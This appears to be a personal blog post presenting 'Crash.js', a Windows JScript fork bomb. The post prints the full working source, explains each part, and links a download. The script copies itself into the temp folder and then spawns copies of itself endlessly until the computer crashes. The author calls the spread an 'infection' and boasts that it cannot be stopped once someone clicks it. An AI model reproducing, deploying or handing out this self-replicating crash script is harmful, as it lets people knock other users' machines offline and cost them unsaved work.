Crash.js

Just a simple program that crashes any computer you run it on... Explaining in-depth how it all works and how to try it out! 2020-07-22

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Preface

Crash.JS is a JScript file that crashes any PC in a matter of seconds. It renders the target computer slow, then unresponsive, and continues until it simply crashes. The way it works is very simple: it runs copies of itself in a loop as quick as it can, which means that processes are started exponentially more quickly every second. No PC can handle that much stress, and so after a small amount of time, it just gives up. If you would like to download it for yourself, just click here!

How it works

Here is the whole code ran by the program:

var fso = new ActiveXObject('Scripting.FileSystemObject');
var wsh = new ActiveXObject('WScript.Shell');

if (WScript.Arguments.length == 0) {
  fso.CopyFile(WScript.ScriptFullName, fso.GetSpecialFolder(2) + '\\');
  wsh.Run(fso.GetSpecialFolder(2) + '\\' + WScript.ScriptName + ' 1');
} else while (true) wsh.Run(WScript.ScriptFullName + ' 1');

It is divided into 3 major parts. The first one is the following:

var fso = new ActiveXObject('Scripting.FileSystemObject');
var wsh = new ActiveXObject('WScript.Shell');

All this does is it initializes two variables (fso and wsh) for later use, so it is not that important. After that, the second part of the program gets run. Here it is:

if (WScript.Arguments.length == 0) {
  fso.CopyFile(WScript.ScriptFullName, fso.GetSpecialFolder(2) + '\\');
  wsh.Run(fso.GetSpecialFolder(2) + '\\' + WScript.ScriptName + ' 1');
}

The job of this part is to make a copy of the program in a temporary directory, so that if the original gets deleted, the infection continues. It has a very important statement in it: if(WScript.Arguments.length == 0). This statement makes sure that the program was run by the user, so it only makes a copy of itself when you run it for the first time. Then, once a copy has been made, the third part of the program executes. It consists of the following:

else while(true) wsh.Run(WScript.ScriptFullName + ' 1');

The key of this part is the while(true) section: it is used to execute the next statement in an infinite loop... and it turns out that the next statement runs the program again, but in a separate process. This is the part that actually crashes the computer, because the more instances of this program are running, the more instances will be created!

Final Words

In my opinion, this is an very simple, but extremely effective little piece of software. However, some people may argue:

Sure, but very powerful computers will take hours to even start to slow down!

And this is a fair point, except it's not. Powerful computers usually take even less time to come to a halt for the simple reason that they can execute the program's code way faster, which also crashes the computer quicker. This program is awesome because there is no way to stop it: once someone clicks on it, it's already too late!